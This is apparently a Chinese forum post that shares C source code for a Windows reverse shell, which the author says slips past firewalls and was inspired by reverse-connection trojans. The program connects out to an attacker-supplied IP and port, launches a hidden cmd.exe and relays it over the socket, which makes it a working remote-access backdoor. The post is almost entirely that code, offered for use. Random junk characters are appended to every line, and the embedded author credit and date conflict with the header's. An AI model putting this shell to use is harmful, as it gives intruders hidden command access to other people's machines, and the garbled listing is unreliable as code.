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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !OQ5AF$  
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/* ============================== hGw}o,g  
Rebound port in Windows NT 8>LDo"<  
By wind,2006/7 ~x/ka43  
===============================*/ y!}XlllV  
#include ef&8L  
#include z^.dYb7<  
hcRe,}wJ  
#pragma comment(lib,"wsock32.lib") >B~? }@^Gk  
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void OutputShell();  <82&F  
SOCKET sClient; e1E_$oJP  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; F=w:!tqA  
kZ)}tA7j  
void main(int argc,char **argv) WFV'^-4  
{ *`wz  
WSADATA stWsaData; nw+^@|4  
int nRet; C96*,.j~'  
SOCKADDR_IN stSaiClient,stSaiServer; 0A~UuH0.  
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if(argc != 3) $N}t)iA  
{ ~/)]`w  
printf("Useage:\n\rRebound DestIP DestPort\n"); dI%ho<zm]  
return; m a@V>*u  
} #qF 1z}L(  
=Hn--DEMg  
WSAStartup(MAKEWORD(2,2),&stWsaData); /3^XJb$Sa  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :aaX Y:<  
|4 \2,M#  
stSaiClient.sin_family = AF_INET; 4r ~K`)/S'  
stSaiClient.sin_port = htons(0); yvzH}$!]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yp^k;G?_d  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O$e"3^Pa  
{ ",vK~m2W_  
printf("Bind Socket Failed!\n"); z80FMulO  
return; Ee7+ob  
} L[ D+=  
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stSaiServer.sin_family = AF_INET; "+7E9m6I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1:^Xd~X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); r,Xyb`  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }0]uA|lH*  
{ [)jNy_4  
printf("Connect Error!"); SJh~4R\  
return; Hd\oV^ >  
} qwJp&6  
OutputShell(); w|S b`eR  
} 3<M yb  
(7b9irL&cn  
void OutputShell() {'h&[f>zcQ  
{ v&/H6r#E.  
char szBuff[1024]; : 7"Q  
SECURITY_ATTRIBUTES stSecurityAttributes; ;zo|. YD  
OSVERSIONINFO stOsversionInfo; Sa9VwVUE  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MI(#~\Y~P  
STARTUPINFO stStartupInfo; *P7/ry^<F  
char *szShell; siCm)B  
PROCESS_INFORMATION stProcessInformation; W!O/t^H>  
unsigned long lBytesRead; bQq/~  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [ei~Xkzkj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R6fkc^  
stSecurityAttributes.lpSecurityDescriptor = 0; Nj2l>[L;  
stSecurityAttributes.bInheritHandle = TRUE; \n,L600`q  
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*<67h*|)  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r5nHYV&7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gYrB@W; 2  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #>)z}a]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \ HUDZ2 s  
stStartupInfo.wShowWindow = SW_HIDE; wf]?:'}  
stStartupInfo.hStdInput = hReadPipe; ]4[%Sv6]G  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2#^g] o-N  
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GetVersionEx(&stOsversionInfo); !a:e=b7g  
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switch(stOsversionInfo.dwPlatformId) }}]Lf3;  
{ _Y&.Nw  
case 1: 6=$<R4B  
szShell = "command.com"; ]jVE  
break; xl,% Z~[  
default: |X A0F\  
szShell = "cmd.exe"; fvH{ va.  
break; R59iuHQ[  
} m^qFaf)6  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =_C&lc"  
5j]!r  
send(sClient,szMsg,77,0); .$}z</#!  
while(1) vw3[(_MV3_  
{ PpG;5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uyk;]EYjHZ  
if(lBytesRead) y3 N[F  
{ E8#aE\'t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~!5Qb{^  
send(sClient,szBuff,lBytesRead,0); H9ES|ZJs  
} 579D  
else \WC,iA%Y  
{ +CdUr~6  
lBytesRead=recv(sClient,szBuff,1024,0); e_|<tYx><  
if(lBytesRead<=0) break; 98 5h]KQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v.C  
} "PRHQW  
} 8M,o)oH  
Q0jg(=9wP  
return; ]nRf%Vi8g  
}
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